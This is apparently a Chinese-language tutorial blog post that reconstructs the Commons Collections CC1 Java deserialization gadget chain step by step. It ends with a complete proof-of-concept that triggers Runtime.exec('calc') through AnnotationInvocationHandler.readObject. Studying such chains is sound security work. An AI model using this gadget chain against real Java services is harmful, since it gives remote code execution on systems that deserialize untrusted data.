一、前言
最近复现了一遍CC1,感觉CC1是一个很神奇的链子,整个复现完之后,觉得这个链子好像是开发者专门写的一个后门一样,很多地方有太多的偶然,巧合,真的是很神奇。
二、环境搭建
这里的环境搭建我就不写了请移步大佬博客
三、CC1链子分析
反序列化攻击原理
首先我们从正面来理解一下这个反序列化攻击
为什么会存在反序列化攻击呢,就是因为这个readObject
方法,在我们反序列化的时候,会执行我们重写的方法
假如我们里面写个一句话,那么我们在反序列化的时候就会执行我们的一句话,但是谁家好人在开发的时候会把一句话写进去
开发者肯定不会这么傻,如果没有一句话,我们怎么形成反序列化攻击呢
想一下为啥叫做链子分析,说明我们构造好的payload就像一条链子一样,从我们的readObject方法一直能到我们的危险方法,想象一下链子
长什么样
这是一条链子,一个很常见的链子,每一个都是一个独立的节点,每一个又通过一个节点来连接,他们是相互关联的
假如我们的头部是我们的readObiect
方法,我们的尾部是我们的exec方法,我们要做的就是找到能够连接他们的方法
通过中间的节点,我们能够形成一条完整的攻击链子
这里的话,我借一张别的大佬的流程图
不知道这里有没有讲清楚啊,反序列化攻击链子流程
我们通过上面的来理解一下,首先入口点和我们的结束点肯定是固定的
入口点就是我们的readObject
,我们的结束点就是我们的危险方法
我们要做的就是找到这么一条链,或者说找到一条路,让我们从readObject
到危险方法
这里我们这个路怎么找,正面找,还是从尾部来找,这里的话我们可以想象一下我们找迷宫线路的时候
我们是怎么找的,我想大多数人在找这个迷宫的路线的时候,肯定是从出口倒推到入口,然后在从入口正推到出口,如果能到出口
那么我们这条线路,肯定是对的。
对于我们的反序列化攻击链子的寻找,也是要从尾部也就是我们的危险方法来逆推到我们入口点就是我们的readObject
方法
如果实在不理解就去看看基础吧
TransformMap版CC1攻击链分析
1、exec尾部分析
根据我们之前说的,这里我们的链子要从尾部逆推,首先我们要找到我们的尾部在哪
怎么找尾部,尾部长什么样
首先尾部肯定要能执行危险方法,才能作为我们的尾部
在这条链子中,尾部就在从Transformer 接口中开始挖掘(总结前人挖洞)
我们跟进去看一下,这个Transformer 接口里面看一下
紧接着我们看一下哪个类实现了这个Transformer接口并存在危险函数
在这个类中,我们找到了一个可以利用的可能,我们跟进去看一下
这里我们看到了这个类实现了两个接口一个是Transformer,一个是我们的Serializable接口,只有实现了Serializable接口我们才能序列化
这个类是比较合适的,而且下面还有重写的transform方法来让我们构造任意类(这个方法是一个天然的后门,开发者应该是想要实现动态类加载,没想到被恶意利用了)
下面我来演示一下如何用这个类来实现我们的恶意方法exec
Runtime.getRuntime().exec("calc");
这个是我们原生的一句话调用计算器
这里的transform是接收一个Object的input
下面的这个iMethodName,iParamTypes,我们是通过构造方法来获得
这里利用这个方法看一下怎么构造
这里的成功的用InvokerTransformer弹出来了计算器
我来解释一下这个代码
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
这里我们先实例了一个Runtime类,因为我们的transform函数接收的是一个类
接下来我们实例化了这个InvokerTransformer这个类,里面的参数和他的构造方法是一致的
这里很清楚的解释了我们为什么要这么写我们的里面的参数,在这里我们exec参数类型就是字符形用的是String.class
,后面我们的参数就是"calc"
很明白这个类是干啥的了,接下来我们要做的就是从尾部倒推看一下前面的链子
2、寻找链子
这里我们可以想一下铁链子
如果我们要连接下一个节点,首先我们要是不同的一个个体,他们才可能相连在一起,不能链子自己连自己吧(个体说的是上面的一个一个圆圈)
除此之外,我们还要有相连的节点,在铁链子里面的节点就是我下面圈红的地方
在我们反序列化的链子中,我们的节点是什么
这里的实例相当于我们的个体,那我们调用的方法就只能当我们的节点了
这个节点我们要理解通过这个节点我们可以连接两个不同的个体
这里怎么理解呢
假如是a.transform(r)
,a调用了这个方法
那么除了这个a,我们是否能找到其他的方法调用了这个transform方法,如果我们找到了一个类(b),下面的方法(xxx)
这个xxx方法里面,调用了a.transform()
那么我们就可以通过b.xxx->a.transform()
这里就可以把这两个节点连接在一起了,我觉得这里面我说的很明白了
那我们根据这个来找一下链子的前面部分
自然要依靠这个transform来当我们的节点了
这里我们全局搜索一下,能找到这个类TransformedMap,首先这个类实现了Serializable接口,我们能反序列化,其次是不同的类(类)
我们还能调用InvokerTransformer.transform()
(这里的valueTransformer我们是可控的)
这里我们用这个TransformedMap这个类来实现一下弹出计算器
这里我们可以看一下,他的构造方法
这是个受保护的方法
我们只能用反射的方法
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap();
map.put("a","b");
Class<?> a = Class.forName("org.apache.commons.collections.map.TransformedMap");
Constructor<?> getTransformedMap= a.getDeclaredConstructor(Map.class,Transformer.class,Transformer.class);
getTransformedMap.setAccessible(true);
Object newgetTransformedMap=getTransformedMap.newInstance(map,null,invokerTransformer);
Method method = a.getDeclaredMethod("checkSetValue",Object.class);
method.setAccessible(true);
method.invoke(newgetTransformedMap,r);
我们最终要实现的是
通过TransformedMap.checkSetValue()
但是这里是通过反射来操作这个类的,因为是受保护的方法
我们成功弹出了计算机
这里我们找到了这个checkSetValue(),接下来就是看谁调用了这个checkSetValue()
这里我们就在次找到一个不同的类(个体)
这个个体要实现序列化接口
这个里面调用了这个checkSetValue()方法
实际上,这里就一处调用了这个checkSetValue()方法
就是这个setValue这个方法
这里我们用chatgpt来给我们解释一下这方法
这个就是在进行Map.Entry的时候用来检查我们的value的合法性
正好在我们的TranformedMap中有这个静态方法,我们可以直接调用,然后返回一个Map类
这里我们对这个Map类进行Entry,来进行我们的SetValue()操作
里面传入的parent正好是我们的实例化的transformedMap,那不就调用了transformedMap.checkSetValue
这里我们尝试一下
这里我们成功弹出来了计算器
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap();
map.put("a","b");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
接着我们就要找谁调用这个
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
我们找这个类还是要满足
这个个体要实现序列化接口
这个里面调用了这个for(... ...){}里面的setValue方法
这就是这里面很巧妙的地方了,我们在找的过程中发现有一个类正好满足,并且还是用readObject()重写的
这不就完美的形成了闭环,就是我们的入口点
我们看一下谁调用了它
正好是我们的readObject()方法,太好了(这里要注意有问题两个if判断,和我们下面的setValue下面的参数我们能不能可控,这里我们先不管后面说)
我们从迷宫的出口(危险方法)逆推到了我们迷宫的入口点(readObject)
整个流程我们正着在进行推一次
首先是我们
readObject()->setValue()->checkSetValue()->transform()
大概就是这个方法的调用,当然这里我没有写相关的类
流程图我就不画了,这里想看的化可以直接移步大佬博客
3、最终润色
我们虽然找到了这个方法,但是我们能直接使用吗
中间有很多细节,我们还要调试,我们调试的时候从正面调试
这里我们可以发现,这个方法是个class,没有写那个,所以这里默认是protected
这里我们要用反射的方式来实例化这个类
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
Map<Object,Object> map = new HashMap();
map.put("a","b");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor getDeclaredConstructorAnnotationInvocationHandler = a.getDeclaredConstructor(Class.class,Map.class);
getDeclaredConstructorAnnotationInvocationHandler.setAccessible(true);
Object o = getDeclaredConstructorAnnotationInvocationHandler.newInstance(Override.class,transformedMap);
这里我们看一下这个反射调用的过程
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
首先通过Class.forName来获得它的类
Constructor getDeclaredConstructorAnnotationInvocationHandler = a.getDeclaredConstructor(Class.class,Map.class);
这里我们要获得它的构造方法,这里我们要给它参数
这里接收两个参数,一个是注解,也就是Class,一个是Map
所以我们这里
写成这种形式
getDeclaredConstructorAnnotationInvocationHandler.setAccessible(true);
这里我们把这个访问权限设置成true,所有的构造方法我们都可以访问
Object o = getDeclaredConstructorAnnotationInvocationHandler.newInstance(Override.class,transformedMap);
然后我们就可以实例化这个类了,调用的参数就是我们原先的transformedMap
接着就可以serialize(o);
但是其实是有问题的
Runtime不能序列化
进入到setValue方法的时候,有两个if
我们的setValue实例化的对象的参数不是我们想要的
Runtime不能序列化
这里我们还是通过反射的方法来构造它
这个我之前写过文章怎么构造请移步
Class c = Runtime.class;
Method getMethod = c.getMethod("getRuntime");
Runtime r = (Runtime) getMethod.invoke(null,null);
r.exec("calc");
这里我们把它转化成InvokerTransformer的方法怎么写
一步一步的分析
Method getMethod = c.getMethod("getRuntime");
这里我们获得这个方法
我们可以看到,这里是有两个参数的一个是String,一个是Class数组
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
接着写第二句Runtime r = (Runtime) getMethod.invoke(null,null);
和上面一样,我们先看一下这个invoke的参数类型
这里也是两个参数,一个Object,一个Object数组
我们还是同样的方式
Runtime runtime = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
接着第三句,我们直接调用了r.exec("calc");
和上面一样,我们先看一下这个exec的参数类型
就一个参数
我们还是同样的方式
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
完整的
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
这个代码量有点多,正好在ChainedTransformer
这个类里面有一个递归调用
这里的我们看一下这个参数
这里是公共方法,而且有序列化接口
我们可以直接这样做
Transformer [] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
new ChainedTransformer(transformers).transform(Runtime.class);
我们运行一下
接下来就是把我们的这个新的这个ChainedTransformer写进我们的链子里面
Transformer [] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap();
map.put("a","b");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor getDeclaredConstructorAnnotationInvocationHandler = a.getDeclaredConstructor(Class.class,Map.class);
getDeclaredConstructorAnnotationInvocationHandler.setAccessible(true);
Object o = getDeclaredConstructorAnnotationInvocationHandler.newInstance(Override.class,transformedMap);
我们现在是调不出计算器的因为我们没有传入我们的Runtime.class(这个后面再说)
进入到setValue方法的时候,有两个if
这里我们再次看一下这个两个if判断
这里我下个断点,看一下正常的操作能不能过
这if判断是直接跳过了,根本没有到我们想要到的位置
这里我们chatgpt一下看一下什么意思
就是看一下我们的Map有没有我们的注解的成员变量属性
上面的截图中我们可以看到,这个meberType是空的,所有我们要找到一个注解而且有成员变量,并且赋值给key,这里我获得key的值
这里的注解Target正好有一个成员变量value所以我们这样写
我们再次debug一下看一下
现在有这个值了
我们在跟进一下
这里进到这个setValue里面了,但是这里面是写死的,这里面的参数是这个AnnotationTypeMismatchExceptionProxy()
这个类
我们的setValue实例化的对象的参数不是我们想要的
我们找到一个类能控制这里面的参数
ConstantTransformer这类
这类也实现了序列化接口
我们看一下它的构造方法
就一个参数
下面也有一个transfor方法
这里无论我们传入什么方法,都会返回我们构造方法里面的参数,这里我们的可控的,在循环递归transform这里,我们在实例化一个这个类
我们再次debug看一下
现在是这个值,等到transform里面就会发生改变
在我们调用这个transform的时候就会返回我们实例化的值
这里就变成了我们的Runtime
后面就是常规操作
成功弹出来了计算器
4、终极链子
package cn.edu.xcu;
import java.io.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer [] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map = new HashMap();
map.put("value","b");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor getDeclaredConstructorAnnotationInvocationHandler = a.getDeclaredConstructor(Class.class,Map.class);
getDeclaredConstructorAnnotationInvocationHandler.setAccessible(true);
Object o = getDeclaredConstructorAnnotationInvocationHandler.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
四、总结
链子很有趣,但是比较难懂,细心一点肯定会学会的
参考:
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96CommonsCollections%E7%AF%8701-CC1%E9%93%BE